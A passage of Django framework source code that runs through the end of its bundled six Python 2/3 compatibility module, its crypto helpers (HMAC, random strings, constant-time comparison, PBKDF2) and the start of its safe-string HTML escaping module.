    This class implements a PEP302 finder and loader. It should be compatible
    with Python 2.5 and all existing versions of Python3
    """

    def __init__(self, six_module_name):
        self.name = six_module_name
        self.known_modules = {}

    def _add_module(self, mod, *fullnames):
        for fullname in fullnames:
            self.known_modules[self.name + "." + fullname] = mod

    def _get_module(self, fullname):
        return self.known_modules[self.name + "." + fullname]

    def find_module(self, fullname, path=None):
        if fullname in self.known_modules:
            return self
        return None

    def __get_module(self, fullname):
        try:
            return self.known_modules[fullname]
        except KeyError:
            raise ImportError("This loader does not know module " + fullname)

    def load_module(self, fullname):
        try:
            # in case of a reload
            return sys.modules[fullname]
        except KeyError:
            pass
        mod = self.__get_module(fullname)
        if isinstance(mod, MovedModule):
            mod = mod._resolve()
        else:
            mod.__loader__ = self
        sys.modules[fullname] = mod
        return mod

    def is_package(self, fullname):
        """
        Return true, if the named module is a package.

        We need this method to get correct spec objects with
        Python 3.4 (see PEP451)
        """
        return hasattr(self.__get_module(fullname), "__path__")

    def get_code(self, fullname):
        """Return None

        Required, if is_package is implemented"""
        self.__get_module(fullname)  # eventually raises ImportError
        return None
    get_source = get_code  # same as get_code

_importer = _SixMetaPathImporter(__name__)


class _MovedItems(_LazyModule):

    """Lazy loading of moved objects"""
    __path__ = []  # mark as package


_moved_attributes = [
    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
    MovedAttribute("intern", "__builtin__", "sys"),
    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
    MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"),
    MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"),
    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"),
    MovedAttribute("reduce", "__builtin__", "functools"),
    MovedAttribute("shlex_quote", "pipes", "shlex", "quote"),
    MovedAttribute("StringIO", "StringIO", "io"),
    MovedAttribute("UserDict", "UserDict", "collections"),
    MovedAttribute("UserList", "UserList", "collections"),
    MovedAttribute("UserString", "UserString", "collections"),
    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),
    MovedModule("builtins", "__builtin__"),
    MovedModule("configparser", "ConfigParser"),
    MovedModule("copyreg", "copy_reg"),
    MovedModule("dbm_gnu", "gdbm", "dbm.gnu"),
    MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"),
    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
    MovedModule("http_cookies", "Cookie", "http.cookies"),
    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
    MovedModule("html_parser", "HTMLParser", "html.parser"),
    MovedModule("http_client", "httplib", "http.client"),
    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
    MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"),
    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
    MovedModule("cPickle", "cPickle", "pickle"),
    MovedModule("queue", "Queue"),
    MovedModule("reprlib", "repr"),
    MovedModule("socketserver", "SocketServer"),
    MovedModule("_thread", "thread", "_thread"),
    MovedModule("tkinter", "Tkinter"),
    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
    MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"),
    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
    MovedModule("tkinter_colorchooser", "tkColorChooser",
                "tkinter.colorchooser"),
    MovedModule("tkinter_commondialog", "tkCommonDialog",
                "tkinter.commondialog"),
    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
                "tkinter.simpledialog"),
    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
    MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"),
    MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"),
]
# Add windows specific modules.
if sys.platform == "win32":
    _moved_attributes += [
        MovedModule("winreg", "_winreg"),
    ]

for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
    if isinstance(attr, MovedModule):
        _importer._add_module(attr, "moves." + attr.name)
del attr

_MovedItems._moved_attributes = _moved_attributes

moves = _MovedItems(__name__ + ".moves")
_importer._add_module(moves, "moves")


class Module_six_moves_urllib_parse(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_parse"""


_urllib_parse_moved_attributes = [
    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
    MovedAttribute("SplitResult", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
    MovedAttribute("quote", "urllib", "urllib.parse"),
    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
    MovedAttribute("unquote", "urllib", "urllib.parse"),
    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
    MovedAttribute("urlencode", "urllib", "urllib.parse"),
    MovedAttribute("splitquery", "urllib", "urllib.parse"),
    MovedAttribute("splittag", "urllib", "urllib.parse"),
    MovedAttribute("splituser", "urllib", "urllib.parse"),
    MovedAttribute("uses_fragment", "urlparse", "urllib.parse"),
    MovedAttribute("uses_netloc", "urlparse", "urllib.parse"),
    MovedAttribute("uses_params", "urlparse", "urllib.parse"),
    MovedAttribute("uses_query", "urlparse", "urllib.parse"),
    MovedAttribute("uses_relative", "urlparse", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

Module_six_moves_urllib_parse._moved_attributes = _urllib_parse_moved_attributes

_importer._add_module(Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse"),
                      "moves.urllib_parse", "moves.urllib.parse")


class Module_six_moves_urllib_error(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_error"""


_urllib_error_moved_attributes = [
    MovedAttribute("URLError", "urllib2", "urllib.error"),
    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

Module_six_moves_urllib_error._moved_attributes = _urllib_error_moved_attributes

_importer._add_module(Module_six_moves_urllib_error(__name__ + ".moves.urllib.error"),
                      "moves.urllib_error", "moves.urllib.error")


class Module_six_moves_urllib_request(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_request"""


_urllib_request_moved_attributes = [
    MovedAttribute("urlopen", "urllib2", "urllib.request"),
    MovedAttribute("install_opener", "urllib2", "urllib.request"),
    MovedAttribute("build_opener", "urllib2", "urllib.request"),
    MovedAttribute("pathname2url", "urllib", "urllib.request"),
    MovedAttribute("url2pathname", "urllib", "urllib.request"),
    MovedAttribute("getproxies", "urllib", "urllib.request"),
    MovedAttribute("Request", "urllib2", "urllib.request"),
    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
    MovedAttribute("URLopener", "urllib", "urllib.request"),
    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
    MovedAttribute("proxy_bypass", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes

_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"),
                      "moves.urllib_request", "moves.urllib.request")


class Module_six_moves_urllib_response(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_response"""


_urllib_response_moved_attributes = [
    MovedAttribute("addbase", "urllib", "urllib.response"),
    MovedAttribute("addclosehook", "urllib", "urllib.response"),
    MovedAttribute("addinfo", "urllib", "urllib.response"),
    MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes

_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"),
                      "moves.urllib_response", "moves.urllib.response")


class Module_six_moves_urllib_robotparser(_LazyModule):

    """Lazy loading of moved objects in six.moves.urllib_robotparser"""


_urllib_robotparser_moved_attributes = [
    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes

_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"),
                      "moves.urllib_robotparser", "moves.urllib.robotparser")


class Module_six_moves_urllib(types.ModuleType):

    """Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
    __path__ = []  # mark as package
    parse = _importer._get_module("moves.urllib_parse")
    error = _importer._get_module("moves.urllib_error")
    request = _importer._get_module("moves.urllib_request")
    response = _importer._get_module("moves.urllib_response")
    robotparser = _importer._get_module("moves.urllib_robotparser")

    def __dir__(self):
        return ['parse', 'error', 'request', 'response', 'robotparser']

_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"),
                      "moves.urllib")


def add_move(move):
    """Add an item to six.moves."""
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    """Remove item from six.moves."""
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError("no such move, %r" % (name,))


if PY3:
    _meth_func = "__func__"
    _meth_self = "__self__"

    _func_closure = "__closure__"
    _func_code = "__code__"
    _func_defaults = "__defaults__"
    _func_globals = "__globals__"
else:
    _meth_func = "im_func"
    _meth_self = "im_self"

    _func_closure = "func_closure"
    _func_code = "func_code"
    _func_defaults = "func_defaults"
    _func_globals = "func_globals"


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    def create_unbound_method(func, cls):
        return func

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    def create_unbound_method(func, cls):
        return types.MethodType(func, None, cls)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         """Get the function out of a possibly unbound function""")


get_method_function = operator.attrgetter(_meth_func)
get_method_self = operator.attrgetter(_meth_self)
get_function_closure = operator.attrgetter(_func_closure)
get_function_code = operator.attrgetter(_func_code)
get_function_defaults = operator.attrgetter(_func_defaults)
get_function_globals = operator.attrgetter(_func_globals)


if PY3:
    def iterkeys(d, **kw):
        return iter(d.keys(**kw))

    def itervalues(d, **kw):
        return iter(d.values(**kw))

    def iteritems(d, **kw):
        return iter(d.items(**kw))

    def iterlists(d, **kw):
        return iter(d.lists(**kw))

    viewkeys = operator.methodcaller("keys")

    viewvalues = operator.methodcaller("values")

    viewitems = operator.methodcaller("items")
else:
    def iterkeys(d, **kw):
        return d.iterkeys(**kw)

    def itervalues(d, **kw):
        return d.itervalues(**kw)

    def iteritems(d, **kw):
        return d.iteritems(**kw)

    def iterlists(d, **kw):
        return d.iterlists(**kw)

    viewkeys = operator.methodcaller("viewkeys")

    viewvalues = operator.methodcaller("viewvalues")

    viewitems = operator.methodcaller("viewitems")

_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.")
_add_doc(itervalues, "Return an iterator over the values of a dictionary.")
_add_doc(iteritems,
         "Return an iterator over the (key, value) pairs of a dictionary.")
_add_doc(iterlists,
         "Return an iterator over the (key, [values]) pairs of a dictionary.")


if PY3:
    def b(s):
        return s.encode("latin-1")

    def u(s):
        return s
    unichr = chr
    import struct
    int2byte = struct.Struct(">B").pack
    del struct
    byte2int = operator.itemgetter(0)
    indexbytes = operator.getitem
    iterbytes = iter
    import io
    StringIO = io.StringIO
    BytesIO = io.BytesIO
    _assertCountEqual = "assertCountEqual"
    if sys.version_info[1] <= 1:
        _assertRaisesRegex = "assertRaisesRegexp"
        _assertRegex = "assertRegexpMatches"
    else:
        _assertRaisesRegex = "assertRaisesRegex"
        _assertRegex = "assertRegex"
else:
    def b(s):
        return s
    # Workaround for standalone backslash

    def u(s):
        return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape")
    unichr = unichr
    int2byte = chr

    def byte2int(bs):
        return ord(bs[0])

    def indexbytes(buf, i):
        return ord(buf[i])
    iterbytes = functools.partial(itertools.imap, ord)
    import StringIO
    StringIO = BytesIO = StringIO.StringIO
    _assertCountEqual = "assertItemsEqual"
    _assertRaisesRegex = "assertRaisesRegexp"
    _assertRegex = "assertRegexpMatches"
_add_doc(b, """Byte literal""")
_add_doc(u, """Text literal""")


def assertCountEqual(self, *args, **kwargs):
    return getattr(self, _assertCountEqual)(*args, **kwargs)


def assertRaisesRegex(self, *args, **kwargs):
    return getattr(self, _assertRaisesRegex)(*args, **kwargs)


def assertRegex(self, *args, **kwargs):
    return getattr(self, _assertRegex)(*args, **kwargs)


if PY3:
    exec_ = getattr(moves.builtins, "exec")

    def reraise(tp, value, tb=None):
        if value is None:
            value = tp()
        if value.__traceback__ is not tb:
            raise value.with_traceback(tb)
        raise value

else:
    def exec_(_code_, _globs_=None, _locs_=None):
        """Execute code in a namespace."""
        if _globs_ is None:
            frame = sys._getframe(1)
            _globs_ = frame.f_globals
            if _locs_ is None:
                _locs_ = frame.f_locals
            del frame
        elif _locs_ is None:
            _locs_ = _globs_
        exec("""exec _code_ in _globs_, _locs_""")

    exec_("""def reraise(tp, value, tb=None):
    raise tp, value, tb
""")


if sys.version_info[:2] == (3, 2):
    exec_("""def raise_from(value, from_value):
    if from_value is None:
        raise value
    raise value from from_value
""")
elif sys.version_info[:2] > (3, 2):
    exec_("""def raise_from(value, from_value):
    raise value from from_value
""")
else:
    def raise_from(value, from_value):
        raise value


print_ = getattr(moves.builtins, "print", None)
if print_ is None:
    def print_(*args, **kwargs):
        """The new-style print function for Python 2.4 and 2.5."""
        fp = kwargs.pop("file", sys.stdout)
        if fp is None:
            return

        def write(data):
            if not isinstance(data, basestring):
                data = str(data)
            # If the file has an encoding, encode unicode with it.
            if (isinstance(fp, file) and
                    isinstance(data, unicode) and
                    fp.encoding is not None):
                errors = getattr(fp, "errors", None)
                if errors is None:
                    errors = "strict"
                data = data.encode(fp.encoding, errors)
            fp.write(data)
        want_unicode = False
        sep = kwargs.pop("sep", None)
        if sep is not None:
            if isinstance(sep, unicode):
                want_unicode = True
            elif not isinstance(sep, str):
                raise TypeError("sep must be None or a string")
        end = kwargs.pop("end", None)
        if end is not None:
            if isinstance(end, unicode):
                want_unicode = True
            elif not isinstance(end, str):
                raise TypeError("end must be None or a string")
        if kwargs:
            raise TypeError("invalid keyword arguments to print()")
        if not want_unicode:
            for arg in args:
                if isinstance(arg, unicode):
                    want_unicode = True
                    break
        if want_unicode:
            newline = unicode("\n")
            space = unicode(" ")
        else:
            newline = "\n"
            space = " "
        if sep is None:
            sep = space
        if end is None:
            end = newline
        for i, arg in enumerate(args):
            if i:
                write(sep)
            write(arg)
        write(end)
if sys.version_info[:2] < (3, 3):
    _print = print_

    def print_(*args, **kwargs):
        fp = kwargs.get("file", sys.stdout)
        flush = kwargs.pop("flush", False)
        _print(*args, **kwargs)
        if flush and fp is not None:
            fp.flush()

_add_doc(reraise, """Reraise an exception.""")

if sys.version_info[0:2] < (3, 4):
    def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS,
              updated=functools.WRAPPER_UPDATES):
        def wrapper(f):
            f = functools.wraps(wrapped, assigned, updated)(f)
            f.__wrapped__ = wrapped
            return f
        return wrapper
else:
    wraps = functools.wraps


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    # This requires a bit of explanation: the basic idea is to make a dummy
    # metaclass for one level of class instantiation that replaces itself with
    # the actual metaclass.
    class metaclass(meta):

        def __new__(cls, name, this_bases, d):
            return meta(name, bases, d)
    return type.__new__(metaclass, 'temporary_class', (), {})


def add_metaclass(metaclass):
    """Class decorator for creating a class with a metaclass."""
    def wrapper(cls):
        orig_vars = cls.__dict__.copy()
        slots = orig_vars.get('__slots__')
        if slots is not None:
            if isinstance(slots, str):
                slots = [slots]
            for slots_var in slots:
                orig_vars.pop(slots_var)
        orig_vars.pop('__dict__', None)
        orig_vars.pop('__weakref__', None)
        return metaclass(cls.__name__, cls.__bases__, orig_vars)
    return wrapper


def python_2_unicode_compatible(klass):
    """
    A decorator that defines __unicode__ and __str__ methods under Python 2.
    Under Python 3 it does nothing.

    To support Python 2 and 3 with a single code base, define a __str__ method
    returning text and apply this decorator to the class.
    """
    if PY2:
        if '__str__' not in klass.__dict__:
            raise ValueError("@python_2_unicode_compatible cannot be applied "
                             "to %s because it doesn't define __str__()." %
                             klass.__name__)
        klass.__unicode__ = klass.__str__
        klass.__str__ = lambda self: self.__unicode__().encode('utf-8')
    return klass


# Complete the moves implementation.
# This code is at the end of this module to speed up module loading.
# Turn this module into a package.
__path__ = []  # required for PEP 302 and PEP 451
__package__ = __name__  # see PEP 366 @ReservedAssignment
if globals().get("__spec__") is not None:
    __spec__.submodule_search_locations = []  # PEP 451 @UndefinedVariable
# Remove other six meta path importers, since they cause problems. This can
# happen if six is removed from sys.modules and then reloaded. (Setuptools does
# this for some reason.)
if sys.meta_path:
    for i, importer in enumerate(sys.meta_path):
        # Here's some real nastiness: Another "instance" of the six module might
        # be floating around. Therefore, we can't use isinstance() to check for
        # the six meta path importer, since the other six instance will have
        # inserted an importer with different class.
        if (type(importer).__name__ == "_SixMetaPathImporter" and
                importer.name == __name__):
            del sys.meta_path[i]
            break
    del i, importer
# Finally, add the importer to the meta path import hook.
sys.meta_path.append(_importer)


### Additional customizations for Django ###

if PY3:
    memoryview = memoryview
    buffer_types = (bytes, bytearray, memoryview)
else:
    # memoryview and buffer are not strictly equivalent, but should be fine for
    # django core usage (mainly BinaryField). However, Jython doesn't support
    # buffer (see http://bugs.jython.org/issue1521), so we have to be careful.
    if sys.platform.startswith('java'):
        memoryview = memoryview
    else:
        memoryview = buffer
    buffer_types = (bytearray, memoryview)






"""
Django's standard crypto functions and utilities.
"""
from __future__ import unicode_literals

import binascii
import hashlib
import hmac
import random
import struct
import time

from django.conf import settings
from django.utils import six
from django.utils.encoding import force_bytes
from django.utils.six.moves import range

# Use the system PRNG if possible
try:
    random = random.SystemRandom()
    using_sysrandom = True
except NotImplementedError:
    import warnings
    warnings.warn('A secure pseudo-random number generator is not available '
                  'on your system. Falling back to Mersenne Twister.')
    using_sysrandom = False


def salted_hmac(key_salt, value, secret=None):
    """
    Returns the HMAC-SHA1 of 'value', using a key generated from key_salt and a
    secret (which defaults to settings.SECRET_KEY).

    A different key_salt should be passed in for every application of HMAC.
    """
    if secret is None:
        secret = settings.SECRET_KEY

    key_salt = force_bytes(key_salt)
    secret = force_bytes(secret)

    # We need to generate a derived key from our base key.  We can do this by
    # passing the key_salt and our base key through a pseudo-random function and
    # SHA1 works nicely.
    key = hashlib.sha1(key_salt + secret).digest()

    # If len(key_salt + secret) > sha_constructor().block_size, the above
    # line is redundant and could be replaced by key = key_salt + secret, since
    # the hmac module does the same thing for keys longer than the block size.
    # However, we need to ensure that we *always* do this.
    return hmac.new(key, msg=force_bytes(value), digestmod=hashlib.sha1)


def get_random_string(length=12,
                      allowed_chars='abcdefghijklmnopqrstuvwxyz'
                                    'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'):
    """
    Returns a securely generated random string.

    The default length of 12 with the a-z, A-Z, 0-9 character set returns
    a 71-bit value. log_2((26+26+10)^12) =~ 71 bits
    """
    if not using_sysrandom:
        # This is ugly, and a hack, but it makes things better than
        # the alternative of predictability. This re-seeds the PRNG
        # using a value that is hard for an attacker to predict, every
        # time a random string is required. This may change the
        # properties of the chosen random sequence slightly, but this
        # is better than absolute predictability.
        random.seed(
            hashlib.sha256(
                ("%s%s%s" % (
                    random.getstate(),
                    time.time(),
                    settings.SECRET_KEY)).encode('utf-8')
            ).digest())
    return ''.join(random.choice(allowed_chars) for i in range(length))


if hasattr(hmac, "compare_digest"):
    # Prefer the stdlib implementation, when available.
    def constant_time_compare(val1, val2):
        return hmac.compare_digest(force_bytes(val1), force_bytes(val2))
else:
    def constant_time_compare(val1, val2):
        """
        Returns True if the two strings are equal, False otherwise.

        The time taken is independent of the number of characters that match.

        For the sake of simplicity, this function executes in constant time only
        when the two strings have the same length. It short-circuits when they
        have different lengths. Since Django only uses it to compare hashes of
        known expected length, this is acceptable.
        """
        if len(val1) != len(val2):
            return False
        result = 0
        if six.PY3 and isinstance(val1, bytes) and isinstance(val2, bytes):
            for x, y in zip(val1, val2):
                result |= x ^ y
        else:
            for x, y in zip(val1, val2):
                result |= ord(x) ^ ord(y)
        return result == 0


def _bin_to_long(x):
    """
    Convert a binary string into a long integer

    This is a clever optimization for fast xor vector math
    """
    return int(binascii.hexlify(x), 16)


def _long_to_bin(x, hex_format_string):
    """
    Convert a long integer into a binary string.
    hex_format_string is like "%020x" for padding 10 characters.
    """
    return binascii.unhexlify((hex_format_string % x).encode('ascii'))


if hasattr(hashlib, "pbkdf2_hmac"):
    def pbkdf2(password, salt, iterations, dklen=0, digest=None):
        """
        Implements PBKDF2 with the same API as Django's existing
        implementation, using the stdlib.

        This is used in Python 2.7.8+ and 3.4+.
        """
        if digest is None:
            digest = hashlib.sha256
        if not dklen:
            dklen = None
        password = force_bytes(password)
        salt = force_bytes(salt)
        return hashlib.pbkdf2_hmac(
            digest().name, password, salt, iterations, dklen)
else:
    def pbkdf2(password, salt, iterations, dklen=0, digest=None):
        """
        Implements PBKDF2 as defined in RFC 2898, section 5.2

        HMAC+SHA256 is used as the default pseudo random function.

        As of 2014, 100,000 iterations was the recommended default which took
        100ms on a 2.7Ghz Intel i7 with an optimized implementation. This is
        probably the bare minimum for security given 1000 iterations was
        recommended in 2001. This code is very well optimized for CPython and
        is about five times slower than OpenSSL's implementation. Look in
        django.contrib.auth.hashers for the present default, it is lower than
        the recommended 100,000 because of the performance difference between
        this and an optimized implementation.
        """
        assert iterations > 0
        if not digest:
            digest = hashlib.sha256
        password = force_bytes(password)
        salt = force_bytes(salt)
        hlen = digest().digest_size
        if not dklen:
            dklen = hlen
        if dklen > (2 ** 32 - 1) * hlen:
            raise OverflowError('dklen too big')
        l = -(-dklen // hlen)
        r = dklen - (l - 1) * hlen

        hex_format_string = "%%0%ix" % (hlen * 2)

        inner, outer = digest(), digest()
        if len(password) > inner.block_size:
            password = digest(password).digest()
        password += b'\x00' * (inner.block_size - len(password))
        inner.update(password.translate(hmac.trans_36))
        outer.update(password.translate(hmac.trans_5C))

        def F(i):
            u = salt + struct.pack(b'>I', i)
            result = 0
            for j in range(int(iterations)):
                dig1, dig2 = inner.copy(), outer.copy()
                dig1.update(u)
                dig2.update(dig1.digest())
                u = dig2.digest()
                result ^= _bin_to_long(u)
            return _long_to_bin(result, hex_format_string)

        T = [F(x) for x in range(1, l)]
        return b''.join(T) + F(l)[:r]






"""
Functions for working with "safe strings": strings that can be displayed safely
without further escaping in HTML. Marking something as a "safe string" means
that the producer of the string has already turned characters that should not
be interpreted by the HTML engine (e.g. '<') into the appropriate entities.
"""
import warnings

from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.functional import Promise, curry, wraps


class EscapeData(object):
    pass


class EscapeBytes(bytes, EscapeData):
    """
    A byte string that should be HTML-escaped when output.
    """
    pass


class EscapeText(six.text_type, EscapeData):
    """
    A unicode string object that should be HTML-escaped when output.
    """
    pass

if six.PY3:
    EscapeString = EscapeText
else:
    EscapeString = EscapeBytes
    # backwards compatibility for Python 2
    EscapeUnicode = EscapeText


class SafeData(object):
    def __html__(self):
        """
        Returns the html representation of a string for interoperability.

        This allows other template engines to understand Django's SafeData.
        """
        return self


class SafeBytes(bytes, SafeData):
    """
    A bytes subclass that has been specifically marked as "safe" (requires no
    further escaping) for HTML output purposes.
    """
    def __add__(self, rhs):
        """
        Concatenating a safe byte string with another safe byte string or safe
        unicode string is safe. Otherwise, the result is no longer safe.
        """
        t = super(SafeBytes, self).__add__(rhs)
        if isinstance(rhs, SafeText):
            return SafeText(t)
        elif isinstance(rhs, SafeBytes):
            return SafeBytes(t)
        return t

    def _proxy_method(self, *args, **kwargs):
        """
        Wrap a call to a normal unicode method up so that we return safe
        results. The method that is being wrapped is passed in the 'method'
        argument.
        """
        method = kwargs.pop('method')
        data = method(self, *args, **kwargs)
        if isinstance(data, bytes):
            return SafeBytes(data)
        else:
            return SafeText(data)

    decode = curry(_proxy_method, method=bytes.decode)


class SafeText(six.text_type, SafeData):
    """
    A unicode (Python 2) / str (Python 3) subclass that has been specifically
    marked as "safe" for HTML output purposes.
    """
    def __add__(self, rhs):
        """
        Concatenating a safe unicode string with another safe byte string or
        safe unicode string is safe. Otherwise, the result is no longer safe.
        """
        t = super(SafeText, self).__add__(rhs)
        if isinstance(rhs, SafeData):
            return SafeText(t)
        return t

    def _proxy_method(self, *args, **kwargs):
        """
        Wrap a call to a normal unicode method up so that we return safe
        results. The method that is being wrapped is passed in the 'method'
        argument.
        """
        method = kwargs.pop('method')
        data = method(self, *args, **kwargs)
        if isinstance(data, bytes):
            return SafeBytes(data)
        else:
            return SafeText(data)

    encode = curry(_proxy_method, method=six.text_type.encode)

if six.PY3:
    SafeString = SafeText
else:
    SafeString = SafeBytes
    # backwards compatibility for Python 2
    SafeUnicode = SafeText


def _safety_decorator(safety_marker, func):
    @wraps(func)
    def wrapped(*args, **kwargs):
        return safety_marker(func(*args, **kwargs))
    return wrapped


def mark_safe(s):
    """
    Explicitly mark a string as safe for (HTML) output purposes. The returned
    object can be used everywhere a string or unicode object is appropriate.

    If used on a method as a decorator, mark the returned data as safe.

    Can be called multiple times on a single string.
    """
    if hasattr(s, '__html__'):
        return s
    if isinstance(s, bytes) or (isinstance(s, Promise) and s._delegate_bytes):
        return SafeBytes(s)
    if isinstance(s, (six.text_type, Promise)):
        return SafeText(s)
    if callable(s):
        return _safety_decorator(mark_safe, s)
    return SafeString(str(s))


def mark_for_escaping(s):
    """
    Explicitly mark a string as requiring HTML escaping upon output. Has no
    effect on SafeData subclasses.

    Can be called multiple times on a single string (the resulting escaping is
    only applied once).
    """
